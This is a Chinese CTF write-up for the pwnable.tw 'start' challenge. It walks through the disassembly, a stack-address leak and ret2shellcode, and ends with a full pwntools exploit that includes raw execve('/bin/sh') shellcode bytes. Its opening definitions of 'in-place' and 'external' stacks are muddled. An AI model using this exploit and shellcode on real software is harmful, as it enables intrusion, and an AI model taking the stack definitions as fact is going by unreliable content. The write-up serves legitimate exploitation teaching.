pwnable_start

文章发布时间:

最后更新时间:

文章总字数:
2.2k

预计阅读时间:
8 分钟

一道很有趣的题目 原理基础ret2shellcode 但是考查了汇编代码的阅读以及栈结构的理解 还有内平栈

涉及到的知识点还是很多的 这里讲细一点

内平栈

内平栈(In—Place Stack)是一种特殊的栈,可以在一个给定的数组中存储元素,并可以支持压栈和弹栈操作,且不需要额外的内存空间。保持堆栈平衡的关键是使用一个变量(称为指针,即esp)来跟踪堆栈顶部的位置。当元素被压入堆栈时,指针会指向新元素,表示它是当前堆栈的顶部。当元素被弹出堆栈时,指针会移动到上一个元素的位置,表示它是当前堆栈的新顶部。这样,指针就可以在堆栈操作过程中保持堆栈平衡。

外平栈

外平栈(External Stack)是一种特殊的栈,可以存储元素,并可以支持压栈和弹栈操作,但需要额外的内存空间。与内平栈不同,外平栈不使用指针来跟踪堆栈顶部的位置,而是使用两个变量:一个用于标识堆栈顶部的位置(esp),另一个用于标识堆栈底部的位置(ebp)。当元素被压入堆栈时,顶部变量会指向新元素,表示它是当前堆栈的顶部。当元素被弹出堆栈时,底部变量会指向上一个元素的位置,表示它是当前堆栈的新底部。这样,两个变量就可以在堆栈操作过程中保持堆栈平衡。

程序分析

checksec看一下保护机制

1
2
3
4
5
6
[*] '/home/chen/pwn'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

保护机制全部关闭 再ida看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:08048060                 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed

应该不是用c语言编译的 很干净 只有一个exit函数和start函数 反编译后看不出什么所以然

并且可以看到没有ebp指针 说明这题是内平栈 是利用esp指针来控制程序执行流

1
2
3
4
5
6
7
8
9
10
11
12
__int64 start()
{
__int64 result; // rax

result = 0x3C00000003LL;
__asm
{
int 80h; LINUX - sys_write
int 80h; LINUX -
}
return result;
}

这里直接解读汇编吧

1
2
3
4
5
6
.text:08048060                 push    esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx

前面6行对这个栈帧进行了初始化的操作 push入栈了esp 接着入栈了返回地址为exit函数

随后对于四个寄存器进行了归零操作

1
2
3
4
5
.text:0804806E                 push    3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch

16进制转化成人话就是: Let’s start the CTF:

这里的五次push 使得esp指向减少了0x14

此时的栈帧结构为:

1
2
3
4
5
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h

接着把esp所指向的内存空间赋值给了ecx 这里可以看到ida识别出来了 其被作为一个函数的addr参数 这个函数是什么先别急 我们一行一行看

这里出现了一个新的寄存器名称 为什么只是dl? 并且在ida中我们选中其 会和edx一起关联起来 二者有什么关系?

1
2
3
4
5
6
7
8
32位CPU有4个32位的通用寄存器EAX、EBX、ECX和EDX。对低16位数据的存取,不会影响高16位的数据。这些低16位寄存器分别命名为:AX、BX、CX和DX,它和先前的CPU中的寄存器相一致。
4个16位寄存器又可分割成8个独立的8位寄存器(AX:AH-AL、BX:BH-BL、CX:CH-CL、DX:DH-DL),每个寄存器都有自己的名称,可独立存取。

Eax是32位寄存器,ax是16位寄存器,al(ah)是八位寄存器

Eax可以存储的数字是DWORD(双字)ax存储的是WORD(字)AL(AH)存储的是BYTE(字节),那么为什么又有AH和AL呢,我们可以这样理解,AX=AH+AL,AH存储的是AX的高8位数据,AL存储的是AX的低八位数据。H这里就是HIGH,L就是LOW.

取自https://blog.csdn.net/EVEPITWANG/article/details/89447466

相当于给这个函数赋值了长度参数(ida识别出来的len)

那么接下来的bl寄存器同理 相当于ebx的低8位 赋值为了1

重点来了 eax的低八位被赋值为了4 随后进行了int 0x80 也就是系统调用

那么我们查询一下调用号为4的函数是什么 发现是write函数

(5条消息) linux 系统调用号表_Anciety的博客-CSDN博客_系统调用号

那么上述汇编代码翻译成c语言也就是

1
write(1,esp,0x14)

所以 相当于输出了上面push入栈的那0x14字节的数据 也就是输出了相应的字符串

但是这里注意一下 栈仍然是不变的 此时栈的结构和esp指针仍然是保留原状(即上文的图所示)

接下来再看

1
2
3
4
.text:08048091                 xor     ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -

赋值了两个参数 edx(参数len)为0x3c eax(系统调用号)为3 还有xor ebx,ebx相当于ebx赋为0

调用号3是read函数 也就是

1
read(0,esp,0x3c)

所以我们可以在esp指针指向的地方 输入0x3c字节数据

接着看剩下的代码

1
2
.text:08048099                 add     esp, 14h
.text:0804809C retn

使esp寄存器的值增加0x14 此时esp指向的是存放offset _exit地址的空间

随后retn指令相当于pop eip 也就是控制程序执行流到exit函数 进行一个退出

在retn过后 此时栈帧就只剩下一个old esp了

分析完了程序 那么我们来想一下利用的思路

我们拥有栈溢出的机会 并且得知了具体哪一块栈空间可以用来控制程序执行流 并且保护全关

没有system函数也没有泄露libc的机会 也没有足够的栈溢出长度来供我们使用onegadget生成的shellcode直接pwn

那么这时候想到的是ret2shellcode 我们只能在栈上写入shellcode 但是没有bss段供我们写入的机会 所以只能写在栈上

那么要做的就是泄露栈上的地址 想一下 程序唯一能够利用输出的地方也就是write函数那边了

1
2
3
4
5
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write

看到第一个 mov ecx,esp 我们再联想到 retn指令执行完了以后 栈帧只剩下了old esp 并且此时esp仍然指向old esp 此时如果执行

这一行指令 那么ecx的值就会被赋为old esp 也就是程序会输出old esp 也就是泄露了栈地址

所以我们第一次写入的payload为

1
2
payload = cyclic(0x14)+p32(0x8048087)
#0x14字节的垃圾数据用来填充push入栈的那串字符串 p32(0x8048087)覆盖的是offset _exit 用来控制程序执行流

此时程序就会输出old esp 那么接下来又要怎么利用

我们知道 控制程序执行流利用的是retn这个指令 但是在其生效前 esp指针会被抬高0x14字节

所以我们需要0x14字节的垃圾数据 然后再往栈上写入shellcode存放的地址 然后控制程序执行流到shellcode

这一系列的操作用图演示为;

所以此时eip接收到了stack_addr(我们泄露的栈地址)+0x14

其寻址到shllcode的栈空间 于是我们就获取了shell

完整的exp:

1
2
3
4
5
6
7
8
9
10
from pwn import*
io = process("./pwn")
io.recv()
payload = cyclic(0x14)+p32(0x8048087)
io.send(payload)
stack_addr = u32(io.recv(4))
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
#这里不能用pwntools生成的shellcode 估计是太长了 溢出空间不够
payload = cyclic(0x14)+p32(stack_addr+0x14)+shellcode
io.send(payload)